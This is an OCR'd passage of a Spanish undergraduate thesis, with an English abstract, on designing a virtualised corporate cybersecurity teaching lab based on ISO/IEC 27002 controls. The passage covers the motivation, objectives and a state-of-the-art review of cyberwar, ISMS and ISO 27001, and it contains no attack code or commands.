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Resumen

En la ultima década el nimero de amenazas cibernéticas ha crecido de manera exponencial
por lo que garantizar la seguridad en Internet de las empresas y de los propios ciudadanos
hace cada vez méas imprescindible la formacion en ciberseguridad. En este contexto,
parece fundamental que los graduados en Ingenieria de Tecnologias y Servicios de
telecomunicacion, como futuros responsables de ciberseguridad O especialistas en
tecnologias de telecomunicacion tengan nociones bésicas de seguridad.

El principal objetivo de este Trabajo Fin de Grado es la creacion de un laboratorio de
ciberseguridad basado en un entorno empresarial virtualizado. El disefio tedrico de las
préacticas del laboratorio se ha basado en la creacion de méaquinas virtuales configuradas
para reproducir una red empresarial virtualizada. Sobre esta base se han creado cuatro
précticas principales. Algunos de los requisitos funcionales que han guiado el disefio han
sido el realismo, la portabilidad, su rendimiento, el uso de software de cddigo libre y el
control de la complejidad.

La metodologia seguida para el disefio de los guiones de las practicas ha sido a partir de la
seleccion de algunos de los controles de la ISO/IEC 27002 para la implantacion de un
sistema de gestion de la seguridad de la informacién. A partir de ahi se ha creado una
narracion como contexto docente basado en una empresa ficticia que permite al alumno
introducirse en un escenario realista y aumentar su motivacion. La narracién guia al
alumno a través de cuatro escenarios de ciberseguridad: ataques asociados a la ingenieria
social, uso de equipos en red en entornos externos a la empresa, el disefio y la
configuracién adecuada de las redes de la empresa como elemento fundamental para evitar
ciberataques y el posible control de acceso externo a través de un protocolo cifrado.

El entorno de laboratorio para el desarrollo de las préacticas, asi como sus soluciones, ha
sido totalmente implementado y validado técnicamente. Este laboratorio podria servir para
aportar un material que ofreciera una formacion préctica en materia de ciberseguridad al
equipo docente del Grado de Ingenieria de Tecnologias y Servicios de Telecomunicacion
(GITST) o los mésteres que se ofrecen en la Escuela Politécnica Superior de la
Universidad Autonoma de Madrid. Obviamente, la puesta en préactica de un laboratorio de
estas caracteristicas dentro del plan de estudios excede los objetivos de este trabajo y estara
condicionada por multiples factores académicos y econémicos.

El objetivo Gltimo ha sido volcar el conocimiento y la experiencia adquirida durante los
ultimos afios, y principalmente durante la realizacion del TFG, en un producto tangible que
pueda despertar el interés en los estudiantes y contribuir a su formacion en un area tan
relevante y de creciente importancia futura como la ciberseguridad.

Palabras clave
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informacidn, entornos de virtualizacion, red empresarial.






Abstract

In the last decade the number of cyber threats has grown exponentially. Therefore to
ensure the Internet security both for companies and citizens makes the training in
cybersecurity a necessity. In this context, it can be essential for graduates in Engineering
Technology and Telecommunications Services, as future engineers or specialists in
cybersecurity, to be trained on the basics of cybersecurity.

The first aim of this Bachelor Thesis is the creation of a cybersecurity-lab in a
virtualization environment based on a real corporate network. The theoretical design has
been the creation and configuration of virtual machines to reproduce a virtual corporate
network. On this basis, four main practical exercises have been created. Some of the
functional requirements that have guided the design have been realism, portability,
performance, use of open source software and control complexity.

The methodology for the design of the exercises or wargames is based on the selection of
some of the ISO / IEC 27002 controls for the implementation of an information security
management system. In addition, t a narrative story based on a fictional company has been
written aiming to increase students motivation. The narrative guides the student through
four cybersecurity scenarios: attacks associated with social engineering, the risk of using
corporate computers in external networks, the secure design of a corporate network as the
main element to prevent successful attacks and the use of cryptography to protect the
confidentiality, authenticity and integrity of information.

The lab environment and the exercises have been fully implemented and technically
validated. Obviously, the implementation of this laboratory in a university curriculum goes
beyond the scope of this paper and will be conditioned by multiple academic and economic
factors.

The ultimate goal has been to exploit as much as possible the knowledge and experience
gained in recent years, and mainly during the implementation of this TFG, in a tangible
product that can arouse interest in students and contribute to their education in such an
important field as cybersecurity.

Keywords

Cybersecurity, training, laboratory, exercises, wargames, information security management
system, virtualization environment, corporate network
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1 Introduccidén

1.1 Motivacion

Desde el origen de los ordenadores personales, las redes de comunicaciones de datos y
principalmente con el despliegue masivo de Internet los incidentes de seguridad han estado
siempre presentes. EI gusano de Morris en 1988 en Berkeley, la competicion entre grupos
de hackers como MOD y LOD en 1990, o el Blue-Boxing que realizaron en la década de
los 70 los dos Steves, Jobs y Wozniak, son algunos ejemplos de las primeras experiencias
en este tipo de incidentes. La gran mayoria de estos ataques tenian como motivacion la
curiosidad por las nuevas tecnologias, la diversion o la demostracion de quién poseia los
conocimientos necesarios para poder acceder a maquinas y entornos que nadie habia
logrado jamas.

En la Gltima década se ha producido en el campo de la ciberseguridad una transicion en los
perfiles de los atacantes, su motivacion asi como en los objetivos de los ataques
informaticos. Los atacantes que actualmente estan detrds de la mayoria de los ataques a
usuarios de internet son delincuentes y mafias cuya Unica motivacion es econdémica. Estos
delincuentes y mafias han visto en internet un nuevo medio para poder explotar sus
negocios y sacar beneficio gracias a la rapida adopcion de internet por parte de los
ciudadanos, empresas y gobiernos, y la falta de conocimientos en materia de
ciberseguridad. Desgraciadamente, no sélo los que estan etiquetados en el "bando de los
malos" hacen uso de las comunicaciones en su propio beneficio, sino que algunas agencias
y gobiernos con su gran capacidad econémica y conocimientos técnicos realizan constantes
ataques contra empresas y otros gobiernos en un contexto que se ha acufiado con el
término de “ciberguerra” o “cibervigilancia”. Claros ejemplos de esta ciberguerra son los
eventos producidos por el gusano Stuxnet en 2010 [1], los ataques descubiertos en 2014 a
la empresa Gemalto en 2011 [2] 6 los mas recientes a la OPM (Office of Personnel
Management) de Estados Unidos en 2015 [3].

En cuanto a la cibervigilancia los hechos més destacados en los Gltimos afios han sido
todas las operaciones que estaba llevando a cabo la NSA (National Security Agency) de los
EEUU y que Edward Snowden denunci6 al filtrar numerosos documentos confidenciales.

Ante este escenario y para poder garantizar la seguridad en internet de las empresas y los
propios ciudadanos se hace cada vez méas imprescindible la formacion en ciberseguridad.
En este contexto, los graduados en ingenieria de tecnologias y servicios de
telecomunicacion, como futuros responsables de la ciberseguridad 6 simplemente
trabajadores involucrados en cualquier &mbito profesional de caracter tecnoldgico, deben
tener las nociones fundamentales de seguridad para poder defenderse de los ataques que
recibirén diariamente.

Habiendo realizado un analisis del plan de estudios de la titulacion de Grado en Ingenieria
de Tecnologias y Servicios de Telecomunicacion y de los posteriores masteres en la
Universidad Autonoma de Madrid, se ha identificado la necesidad de potenciar la
formacion de ciberseguridad. Este Trabajo de Fin de Grado (TFG) intenta contribuir a
cubrir con un formato escalable esta necesidad detectada.

Por todo ello, el objetivo principal de este TFG se ha centrado en la creacion de un
laboratorio de ciberseguridad basado en un entorno empresarial virtualizado. Este entorno,




altamente portable e instalable en equipos de rendimiento medio, permitira que un alumno
pueda desarrollar y practicar sus capacidades técnicas, complementando asi los
conocimientos tedricos obtenidos previamente en una asignatura teorica, en un area tan
relevante y de creciente importancia futura como la ciberseguridad.

1.2 Objetivos

El principal objetivo de este TFG es contribuir a la formacion en ciberseguridad de los
futuros graduados en Ingenieria de Tecnologias y Servicios de Telecomunicacion. Para
poder desarrollar las capacidades técnicas en materia de seguridad, los alumnos necesitan
un entorno donde puedan aplicar y practicar todo lo que aprenden en la parte de teoria en
una asignatura de ciberseguridad.

Un segundo objetivo ha sido que las practicas deben poder ser realizadas por todos los
alumnos, tengan conocimientos previos en materia de ciberseguridad o no, por ello se han
planteado sobre algunos de los conceptos fundamentales y de una manera gradual para que
su comprensién y la curva de aprendizaje sea lo mas lineal posible. Ademas, y desde mi
experiencia como alumno de universidad, se ha intentado dotar a todas las practicas de una
historia ficticia que sirva de contexto aparte del propio guién de la practica y cuyos
objetivos son: 1) situar y motivar al alumno posicionandole en un escenario de un ataque y
defensa que facilite que pueda entender mejor queé se persigue con cada préctica, 2) que le
genere un cierto interés y le permita introducirse en el mundo de la seguridad y 3) que
sirva como hilo conductor de todas las practicas para crear una cohesion como laboratorio
de una asignatura.

Con estos objetivos, se han disefiado un conjunto de practicas de ciberseguridad en las que
el alumno pudiese situarse en las dos perspectivas distintas en un incidente de
ciberseguridad: por un lado, la perspectiva del atacante y por otro, la de quien tiene que
implementar una politica y controles de seguridad para que el ataque no tenga éxito.

El altimo objetivo de este proyecto y no por ello menos importante ha sido volcar una parte
del conocimiento técnico en ciberseguridad adquirido durante estos Gltimos afios, y
principalmente en la realizacion de este TFG, en un producto tangible que pueda despertar
la pasion por la ciberseguridad en otros estudiantes.

En resumen de todo lo anterior, los objetivos especificos de este TFG son:

o El estudio y analisis del estado del arte en ciberseguridad

e EI analisis de las soluciones posibles para el disefio de un laboratorio de
ciberseguridad

e El disefio, implementacion y validacion de un conjunto de practicas de laboratorio
que permitan al alumno adquirir y practicar conocimientos fundamentales en esta
materia

e Laelaboracién de los guiones de las practicas y su entorno




1.3 Fases de Realizacion
Para haber podido completar este TFG con éxito se han realizado las siguientes fases:

1) Investigacion: teniendo en mente la idea principal y los objetivos del TFG habia
que realizar una investigacion para saber cual era el estado en el que se encontraba
la formacion en ciberseguridad en el &mbito académico, cuéles eran los estandares
de seguridad mas implementados por las empresas hoy en dia y qué herramientas

de virtualizacion habia en el mercado para construir el laboratorio.

2) Anélisis: una vez completada la labor de investigacion y determinados los limites
entre los que nos podiamos mover, se inicia la fase de analisis del problema. En
esta fase se realizd un andlisis de como podia ser el escenario de aprendizaje del
alumno, queé requisitos hardware y software demandaba el escenario propuesto y
que conocimientos teoricos-técnicos se queria que el alumno obtuviese una vez

completado el laboratorio.

3) Disefio: en esta fase se realiz6 el disefio, con el nivel de detalle més alto posible, de
las practicas que el alumno iba a realizar y de los componentes del entorno

empresarial virtualizado que se iba a necesitar en cada escenario.

4) Implementacion y validacion: terminadas las fases anteriores que servian de base
para ésta, se inicié la implementacion del entorno y las précticas del laboratorio
disefiado en este TFG. Una vez concluido todo el disefio "en papel™ en la fase
previa, se paso a la parte practica donde se crearon las méquinas y redes virtuales
que dan nombre al laboratorio de ciberseguridad en un entorno empresarial
virtualizado, asi como el conjunto de practicas que lo componen. Este laboratorio
sera el que el alumno utilice como base para todos los escenarios propuestos en las
practicas. Una vez desarrolladas todas las pruebas junto con el laboratorio,
entramos en la fase de validar todo lo realizado. Para ello, se realizaron y
documentaron todas las pruebas del laboratorio en el entorno preparado para
comprobar que todos los objetivos se cumplian, una validacion que consistié en una
primera validacion técnica realizada por el autor del TFG y una segunda fase en la
que se llevo a cabo una validacion preliminar del laboratorio por un alumno de la

URJC.

5) Redaccion de la memoria: la Gltima fase, como en todo proyecto, fue la de
documentar todo el trabajo realizado y el conocimiento adquirido durante el

desarrollo de este TFG.

1.4 Organizacion de la memoria

La estructura de este documento esta estrechamente relacionada con las fases que se han
Ilevado a cabo a lo largo de este Trabajo de Fin de Grado. La memoria conforma un total
de siete capitulos junto con un apartado de referencias bibliograficas, un glosario de

acronimos y dos anexos.

e Capitulo 1: Introduccion

Seccion inicial en la que se explican la motivacion, los objetivos, las fases del

proyecto y la estructura de la memoria.




Capitulo 2: Estado del Arte

En este apartado se expone toda la investigacion previa que ha sido realizada en
este TFG en el ambito de la ciberseguridad en general, los sistemas de gestion de la
seguridad de la informacion y el estandar 27001, el estado actual de la formacion en
ciberseguridad en las universidades y los entornos de virtualizacion de maquinas y
redes. Este capitulo conforma por lo tanto, la base tedrica sobre la que se ha
sustentado el disefio e implementacion de este proyecto.

Capitulo 3: Andlisis

Descripcion del escenario real que se pretende emular, los conocimientos tedricos-
técnicos que se pretenden conseguir por parte del alumnado, los requisitos
funcionales y las limitaciones que vienen impuestas por los requisitos hardware y
software del laboratorio.

Capitulo 4: Disefio

Explicacién de cada prueba disefiada para el laboratorio y el entorno necesario para
completar con éxito cada una de ellas.

Capitulo 5: Implementacion y validacion

Este apartado describe en detalle todos los pasos que se han seguido para pasar de
un disefio tedrico a uno practico y crear el entorno empresarial virtualizado donde
se puedan realizar todas las pruebas. De igual forma se complementa con los
guiones y soluciones de las précticas incluidas en los anexos de la memoria. Se
muestran los resultados obtenidos de cada prueba asi como se corrobora que todo
lo que se ha disefiado e implementado cumplen los objetivos, primero a nivel
técnico y segundo mediante pruebas con usuarios.

Capitulo 6: Conclusiones y trabajo futuro

Para concluir, en este capitulo se realiza una recapitulacién de los resultados
obtenidos a lo largo de este proyecto y el planteamiento de posibles trabajos futuros
que este trabajo fin de grado permite.

Referencias bibliograficas:

Catalogo de publicaciones, libros y documentos web que se han ido referenciando
a lo largo de este documento y han servido de soporte de informacion para algunos
contenidos de este proyecto.

Anexo I: Guiones de practicas

Apartado que incluye todos los guiones de practicas completos, con los enunciados

de los ejercicios, que un alumno necesitara para poder realizar el laboratorio de
ciberseguridad creado en este TFG.




Con el fin de poder establecer un hilo conductor a lo largo de todo el proyecto, todos los
capitulos referentes al desarrollo del proyecto (desde el estado del arte hasta la validaciéon)
incluyen una introduccion que permite situar al lector en un contexto y anticipar el
contenido a desarrollar en el resto del capitulo.

Al final de cada uno de los capitulos de desarrollo se realiza una breve conclusion para
resaltar las partes fundamentales.







2 Estado del arte

2.1 Introduccién

En este capitulo se va a realizar un estado del arte de la situacion actual de la
ciberseguridad para poder entender por qué es necesaria la formacidn en esta materia y por
ende soportar la justificacion de este TFG.

No se puede hablar de ciberseguridad en un entorno empresarial sin hablar de un sistema
de gestion de la seguridad de la informacion, que como su propio nombre sugiere, es un
conjunto de politicas y buenas practicas para la correcta administracion de la informacion.
Este término recogido en el estandar ISO/IEC 27001 pretende asegurar la confidencialidad,
integridad y disponibilidad de la informacién en una empresa, por lo que también
estudiaremos en este capitulo el origen de este estandar y qué beneficios aporta su
implantacién en una empresa.

Con este marco global se va a exponer en qué estado se encuentra la formacién en
seguridad en el &mbito académico universitario y por qué es muy importante su inclusion
en los planes de estudios. Es necesario resaltar que aunque esté habiendo un gran impulso
para la formacién en ciberseguridad por parte de las empresas privadas, la realidad es que
en general, en los grados procedentes de los antiguos ingenieros de telecomunicacién y en
especial en el grado de Ingenieria de Tecnologias y Sistemas de Telecomunicacién de la
UAM, puede ser beneficioso introducir asignaturas y laboratorios en el plan de estudios en
materia de ciberseguridad. Principalmente porque los futuros trabajadores, responsables y
directores de empresas tecnoldgicas en ciberseguridad pueden ser graduados de esta
universidad.

Por Gltimo se va a realizar un analisis de cuales son las herramientas y entornos de
virtualizacion que hay en el mercado actual. También se hara hincapié en los motivos que
han llevado a las opciones escogidas para el desarrollo del entorno de este TFG.

2.2 Ciberespacio, ciberguerray ciberseguridad

2.2.1 Ciberespacio

La primera vez que se utilizé el término ciberespacio fue en el relato de ciencia-ficcidn
Johnny Mnemonic [4] de William Gibson aunque el término no se populariz6 hasta su
siguiente novela Neuromante [5] a principios de los ochenta.

El ciberespacio se podria definir como “un conjunto de sistemas de informacion
interconectados, dependientes del tiempo, junto con los usuarios que interactdan con estos
sistemas” [6].

Sin embargo, el ciberespacio es mucho mas que Internet, mas que los mismos sistemas y
equipos, el hardware y el software e incluso que sus propios usuarios, es un nuevo espacio,
con sus propias leyes que, a diferencia de los demas espacios, ha sido creado por el hombre
para su servicio. Este espacio ha experimentado un enorme y veloz desarrollo, asi como la
dependencia gque nuestra sociedad tiene de él, lo que contrasta con el menor y lento avance
en materias de ciberseguridad. Por este motivo, las empresas, gobiernos, particulares,




etcétera que decidan operar en el ciberespacio sobretodo en el ambito de la seguridad,
deben ser conscientes de lo siguiente:

— El ciberespacio es un «campo de batalla» de grandes dimensiones y donde todavia
es posible mantener el anonimato. Los ataques se pueden lanzar desde casi
cualquier parte del mundo.

— Los efectos de los ataques son desproporcionados con respecto a su coste. Las
operaciones se pueden realizar sin necesidad de efectuar fuertes inversiones en
recursos humanos y materiales.

— Cada vez mas la naturaleza de los ciberataques fuerza a la mayoria de las victimas,
tanto reales como potenciales, a poseer unos conocimientos técnicos avanzados
para poder defenderse.

— EI ciberespacio no tiene una franja horaria de uso, debido a su acceso e
interconexion a nivel mundial el Unico requisito para realizar un ataque de punta a
punta en el globo es tener acceso al ciberespacio. La conexion al ciberespacio de
cualquier sistema lo convierte en un objetivo susceptible de ser atacado.

2.2.2 Ciberguerra

Como en todo espacio que el hombre ha podido dominar (tierra, mar y aire) se han
producido conflictos bélicos, el nuevo espacio tampoco iba a ser un lugar donde reinase la
paz. «Cyberwar. The thread from the Internet» [7], la portada y «Cyberwar» el titulo de la
editorial del primer nimero del mes de julio de 2010 de la prestigiosa revista britanica The
Economist, queria destacar que era el momento de que los paises comenzasen a dialogar
sobre el control de las armas cibernéticas en Internet.

El editorial comienza analizando como a través de la historia las nuevas tecnologias han
revolucionado la guerra, a veces abruptamente, a veces solo gradualmente; pensemos en el
carro de combate, en la pdlvora, el avion, el radar o la fusion nuclear. Las Tecnologias de
la Informacion, las computadoras e Internet han transformado de manera radical el mundo
segin han evolucionado desde el dltimo cuarto del siglo pasado y han dado grandes
ventajas a los ejércitos tales como la capacidad de enviar aviones controlados remotamente
para capturar inteligencia o desarmar cabezas nucleares enemigas. Sin embargo, la
expansion de la tecnologia digital también tiene sus riesgos al exponer a los ejércitos y a la
sociedad a ciberataques desde cualquier parte del globo. En este mundo globalizado, los
gobiernos de los paises deben comenzar a pensar en el modo de reducir las amenazas de la
ciberguerra con el objetivo de intentar evitar los ataques antes de que sea demasiado tarde
o afrontarlas con éxito si se realizan.

Cada vez mas aparecen noticias, reportajes y descubrimientos que demuestran que esta
ciberguerra ha comenzado y de una manera sigilosa para el ciudadano, aunque le afecte de
una manera directa.

Algunos de los hechos que mayor repercusién han puesto de manifiesto esta afirmacion
fueron los documentos clasificados como alto secreto que fueron filtrados a los periodicos
The Guardian y The Washington Post por Edward Snowden, antiguo empleado de la CIA 'y
NSA, donde se indicaban numerosos programas de la NSA incluyendo los programas de
vigilancia PRISM y XKeyscore.

La ciberguerra en consecuencia no solo afecta a los bandos que la conformen, sino también
a las personas civiles de todos los estados en los que la tecnologia haya sido implantada.




2.2.1 Ciberseguridad

Desde que Internet se empez6 a introducir en la sociedad en los afios noventa, nuestra
sociedad y nuestro modo de vida han ido evolucionando y se han ido expandiendo y
adaptando a este medio hasta tal punto que, si la infraestructura de Internet se derrumbase
el mundo entraria en caos.

Internet ha tenido una gran inmersion en la vida de las personas gracias a los dispositivos
moviles inteligentes y el nacimiento de aplicaciones informéticas de uso comercial para
todo tipo de sectores (banca, transporte, consumo, ocio...), donde los usuarios
continuamente facilitan datos econémicos y personales.

Este increible auge de las nuevas tecnologias ha supuesto un cambio en las relaciones e
interacciones de la sociedad actual, donde usuarios, legisladores y gobiernos no acaban de
vislumbrar la forma de ordenar la convivencia en internet. Los “ciberdelitos” han existido
desde la creacion de la primera red de ordenadores pero toda esta accesibilidad que ofrece
internet ha propiciado que el perfil de los atacantes haya ido variando desde los antiguos
hackers adolescentes de los 80 a los delincuentes, mafias y grupos terroristas que se han
amoldado rapidamente a este nuevo escenario, aprovechando las deficiencias legislativas y
del nuevo espacio juridico. Su adaptacion queda demostrada cuando constantemente
desarrollan sus actividades ilegales y salen impunes. Estos ciberdelincuentes simplemente
han sabido ver en Internet una via mas para cometer sus actos delictivos y no ser juzgados
por ellos.

En los ultimos afios el nimero de amenazas cibernéticas se ha multiplicado de manera
exponencial [8] produciéndose ademéas un cambio en la naturaleza de las mismas; se ha
pasado de amenazas conocidas, puntuales y dispersas, a amenazas de gran sofisticacion,
persistentes y con objetivos muy concretos.

En la actualidad, los ciberataques, los fallos en los sistemas de infraestructuras criticas y el
robo de datos o fraude se encuentran en el Top 10 de riesgos globales segun el reciente
informe ‘Global Risk 2015’ que publica cada afio el World Economic Forum (WEF) [9],
en el que refleja la interconexién actual entre riesgos geopoliticos, ambientales, sociales,
econdmicos y tecnoldgicos.

Dentro de los riesgos tecnoldgicos, los relacionados con la ciberseguridad ocupan un lugar
preeminente como principal preocupacion, ya que poseen un grado de probabilidad de
ocurrencia y un impacto econémico elevado.

Las inversiones de las empresas enla proteccion de sus activos fisicos (ordenadores,
muebles de oficina...) son desproporcionadas si las comparamos con lo que invierten en la
seguridad de las informaciones digitales. Sin embargo, estas son las mas amenazadas. El
mes de noviembre de 2014, el Instituto Ponemon publico un estudio para HP Enterprise
Security en el que muestra que el coste medio anual de los ciberataques es de 4.8 millones
de euros por empresa: un coste muy superior al de la proteccion [10].

Por lo tanto la ciberseguridad méas que una disciplina afiadida al marco de las nuevas
tecnologias es una necesidad. La ciberseguridad implica la proteccion de la informacion y
de los sistemas en los que confiamos en nuestro dia a dia, ya sea en nuestro hogar, en el
trabajo o en los centros educativos. De la ciberseguridad dependen nuestras vidas, desde
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los datos privados que confiamos a las empresas y aplicaciones hasta los complejos que
alojan armas nucleares que dependan de sistemas informaticos [11].

Debido a todo esto existe una creciente demanda en formar a futuros ingenieros en esta
materia y aplicar en todas las empresas que manejen informacion un sistema de gestion que
garantice los tres principios de la ciberseguridad: confidencialidad, integridad y
disponibilidad.

2.3 SGSIy el estandar ISO/IEC 27001

2.3.1 Sistemas de Gestion de la Seguridad de la Informacion

Los rapidos avances en los sistemas de informacion y telecomunicacion han favorecido
que se desarrolle hardware y software mas asequible para todo tipo de empresas y el
usuario domeéstico. Debido a la gran inmersion de Internet y su infraestructura, todos estos
equipos se han interconectado a través de todo el mundo.

Este despliegue de medios ha generado multitud de oportunidades para las empresas que
han visto en Internet un medio méas para ofrecer sus productos y servicios. Nacen asi, las
paginas de comercio electronico, los sistemas de procesamiento electronico de datos y todo
tipo de aplicaciones, entre las que podemos destacar la de los bancos y los métodos de
pago online.

Esta cantidad de trafico y almacenamiento de informacion sensible y privada ha suscitado
un gran interés en los ciberdelincuentes. Para evitar los posibles vectores de ataques a estas
infraestructuras, algunas organizaciones profesionales y de estandarizacion han disefiado
un conjunto de politicas y buenas practicas para garantizar la seguridad y la fiabilidad de
los sistemas de informacién. Los principios fundamentales de los sistemas de gestion de
seguridad de la informacion son:

e Confidencialidad: hablando de privacidad en la informacion, este principio se basa
en prevenir la divulgacion de informacion o datos a sistemas e individuos no
autorizados y asegurar que estos datos e informacion confidenciales solo llegan a
manos que estan autorizadas a su acceso. Asegurar la confidencialidad es una
obligacion considerando que una mala gestién de esta puede resultar en fraude,
robo de identidad y pérdida econdémica. Para una empresa 0 un gobierno puede ser
incluso peor, ya que un robo de contrasefias puede derivar en algun tipo de ataque
de acceso a areas con una gran cantidad de informacidn sensible.

e Integridad: se refiere a los métodos y acciones que se llevan a cabo para proteger la
informacidén de alteraciones o revisiones no legitimas, tanto si los datos estan en
transito o almacenados. La integridad basicamente mide si los datos que ha enviado
un emisor son los mismos que los que recibe el destinatario. Normalmente, la
integridad se suele asegurar a través de las funciones hash. Una funcion hash
simplemente es una funcion matematica o algoritmo de un solo sentido (como por
ejemplo MD5 y SHA-1) que genera un numero de una longitud determinada que se
denomina valor hash. Cuando un usuario o un sistema envia un mensaje, esto
genera un valor hash que también se le envia al destinatario, de tal forma, que si un
cambio de un solo bit, el valor hash sera completamente distinto.
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e Disponibilidad: es el principio mas basico y facil de entender aunque no por ello es
el menos importante. La disponibilidad se refiere a que los sistemas de
telecomunicacion y de datos estén preparados cuando un usuario legitimo necesite
usarlos. Existen diferentes métodos para garantizar la disponibilidad, dependiendo
de si nos enfocamos en un sistema de datos, recursos de red o informacion
simplemente. Un claro ejemplo de ataque contra este principio son los ataques de
denegacion de servicio, cominmente abreviados DoS (Denial-of-service).

Con el fin de poder garantizar estos principios bésicos, las instituciones, las empresas
privadas y las organizaciones internaciones de estandarizacion han desarrollado un
conjunto de politicas y buenas précticas para garantizar la seguridad de la informacion.
Todos estos puntos vienen recogidos de manera rigurosa dentro de los estandares. A partir
de los cuales se podran utilizar para realizar auditorias de seguridad y otorgar las
certificaciones correspondientes.

Los estandares de seguridad aseguran que los responsables de los sistemas de informacién
sepan gestionar adecuadamente estos sistemas garantizando los principios fundamentales
descritos en los puntos anteriores.

2.3.2 Estandar ISO/IEC 27001

El conjunto de estandares ISO/IEC 27000 [12] es un conjunto de estandares desarrollados y
en continua revision por I1SO (International Organization for Standardization) e IEC
(International Electrotechnical Comission), que proporcionan un marco de gestion de la
seguridad de la informacion utilizable por cualquier tipo de organizacion tanto publica o
privada como grande o pequefia.

El 1SO-27000 especifica los requisitos necesarios para establecer, implantar, mantener y
mejorar un SGSI segun el conocido “Ciclo de Deming”: PDCA — acrénimo de Plan, Do,
Check, Act (Planificar, Hacer, Verificar, Actuar). Tiene su origen en la segunda parte del
estandar britanico BS7799 (BS7799:2) y estd compuesto a grandes rasgos por el ISM
(Information Security Management System), valoracién de riesgos y los controles
especificos.

A semejanza de otras normas 1SO, la 27000 es realmente una serie de estandares entre los
que se destacan los siguientes:

e ISO 27000: contiene los términos y definiciones que se emplean en toda la serie
27000. La aplicacién de cualquier estandar necesita de un vocabulario claramente
definido, que evite distintas interpretaciones de conceptos técnicos y de gestion.
Esta norma es gratuita a diferencia del resto de la serie.

e SO 27001: es la norma principal de requisitos del sistema de gestion de seguridad
de la informacion. Tiene su origen en la BS 7799-2:2002 y es la norma con la cual
se certifican los SGSI de las organizaciones a través de auditores externos.

e SO 27002: proporciona unas recomendaciones de las mejores practicas en la
gestion de seguridad de la informacidn. Incluye catorce dominios principales cada
cual contiene una serie de controles junto con sus guias de implementacion para ser
aplicados por aquellos que tienen la responsabilidad de iniciar, implantar o
mantener sistemas de gestion de la seguridad de la informacion.
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Los beneficios que una empresa puede observar después de implantar un SGSI a traves del
estandar ISO/IEC 27001 son:

1. En primer lugar, obtener una reduccion de riesgos debido al establecimiento y
seguimiento de controles sobre ellos. Con ello se logra reducir las amenazas hasta
alcanzar un nivel asumible por la organizacion. De este modo, si se produce una
incidencia, los dafios se minimizan y la continuidad del negocio esta asegurada.

2. En segundo lugar, se produce un ahorro de costes derivado de una racionalizacion
de los recursos. Se eliminan las inversiones innecesarias e ineficientes como las
producidas por desestimar o sobrestimar riesgos.

3. En tercer lugar, la seguridad se considera un sistema y se convierte en una actividad
de gestion. La seguridad deja de ser un conjunto de actividades mas o menos
organizadas y pasa a transformarse en un ciclo de vida metddico y controlado, en el
que participa toda la organizacion.

4. En cuarto lugar, la organizacion se asegura del cumplimiento de la legislacion
vigente y se evitan riesgos y costes innecesarios. La entidad se asegura del
cumplimiento del marco legal que protege a la empresa de aspectos que
probablemente no se habian tenido en cuenta anteriormente.

5. Por ultimo, pero no por ello menos importante, la certificacion del Sistema de
Gestion de Seguridad de la Informacion contribuye a mejorar la competitividad en
el mercado, diferenciando a las empresas que lo han conseguido y haciéndolas mas
fiables e incrementando su prestigio.

La implantacion y posterior certificacion de estos sistemas no es sencilla ya que supone la
implicacion de toda la empresa, empezando por la direccién sin cuyo compromiso es
imposible su puesta en marcha. La direccién de la empresa debe liderar todo el proceso, ya
que es la que conoce mejor que nadie los riesgos del negocio y las obligaciones con sus
clientes y accionistas. Ademas, es la Unica que puede introducir los cambios de mentalidad,
de procedimientos y de tareas que requiere el sistema.

Un certificado mejora la imagen y confianza de la empresa entre los clientes, proveedores
y socios que, poco a poco, exigen la certificacion para abrir y compartir sus sistemas de
informacién con cualquier empresa. La exigencia de este certificado es el modo de
garantizar un equilibrio en las medidas de seguridad entre las partes [13].

Algunos de los controles especificados en la ISO 27002 han servido para marcar el
conocimiento tedrico y practico que se pretende que el alumno obtenga una vez finalizadas
las pruebas del laboratorio creado en este TFG.

2.4 Formacién en ciberseguridad

Ultimamente, debido a todas las noticias que los medios de comunicacion estan emitiendo,
se esta consiguiendo empezar un proceso de cambio en la gestién de la seguridad de la
informacién que nos rodea. Los ciudadanos estan empezando a mentalizarse de que una
mala gestion de la seguridad y privacidad en el mundo virtual puede tener consecuencias
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directas en el mundo real. Por ello el limite entre ambas cada vez es mas difuso.
Irremediablemente, la ciberseguridad ha pasado a formar una parte fundamental en la
sociedad.

A pesar de este inicio de cambio de mentalidad el Global Information Security Survey de
2015 recoge que el 34.55% de los incidentes tienen su origen en empleados actuales y el
30.42% en antiguos empleados. Esto demuestra que la simple existencia de un
departamento de informética o de un CERT (Computer Emergency Response Team) en las
empresas no resuelve el problema de la ciberseguridad. Esto es valido para acabar con las
incidencias de un minimo riesgo y que se puedan solucionar estando fisicamente en la
propia empresa. Aun asi, un especialista podra resolver una situacion de crisis siempre a
posteriori pero no puede anticiparse al error humano de un empleado que por
desconocimiento descargue un archivo malicioso o que proteja su cuenta personal con una
contrasefia muy débil. La ciberseguridad no es solo responsabilidad del departamento de
informética o del CERT, sino de toda la jerarquia de la empresa y de todas las empresas,
independientemente de la actividad a la que se dediquen.

Ante este problema, la Unica solucion es la formacion en ciberseguridad. Las empresas
privadas son poco a poco mas conscientes de esta realidad y desde hace unos afios se esta
iniciando una carrera para la formacion de sus trabajadores y una demanda de puestos de
trabajo en el ambito de la ciberseguridad. Esto se puede comprobar facilmente con la
ultima encuesta de ISACA (Information Systems Audit and Control Association) en la que
afirma que existen un millon de vacantes en el ambito de la seguridad de la informacion,
dato que se apoya también en los célculos realizados por la empresa Cisco. Otras empresas
estan creando sus propios grupos de seguridad por lo que como bien indican las encuestas
la demanda de este tipo de perfil profesional se estd disparando. Incluso hay compafiias
que han visto en este vacio de formacidn una oportunidad para crear negocio ya que, para
recibir una formacidn en ciberseguridad alguien tiene que ofrecerla, por lo que el espectro
de oferta laboral también se amplia.

Como las universidades tienen como fin formar lo mejor posible a sus estudiantes para que
se puedan desenvolver en el mundo profesional, es evidente que si el mercado laboral
demanda con tanta necesidad un tipo de perfil con unas determinadas competencias, la
universidad debe en la medida de lo posible incluir la ciberseguridad en sus planes de
estudios. De esta forma, haran mas llamativa su oferta académica para aquellos estudiantes
a los que les apasione la ciberseguridad o que simplemente deseen cursar un graduado les
asegure un puesto de trabajo.

Muchas universidades ya han empezado a ofrecer grados y masteres orientados al mundo
de la seguridad y sus multiples disciplinas, tales como: analisis forense, sistemas de gestion
de la seguridad de la formacion, auditor de sistemas, etcétera. Algunos ejemplos pueden
encontrarse en las titulaciones de grado y master que se ofrecen en universidades como la
Universidad Politécnica de Madrid o la Universidad Carlos |11 de Madrid.

Este laboratorio podria servir para aportar un material que ofreciera una formacion
practica en materia de ciberseguridad al equipo docente del Grado de Ingenieria de
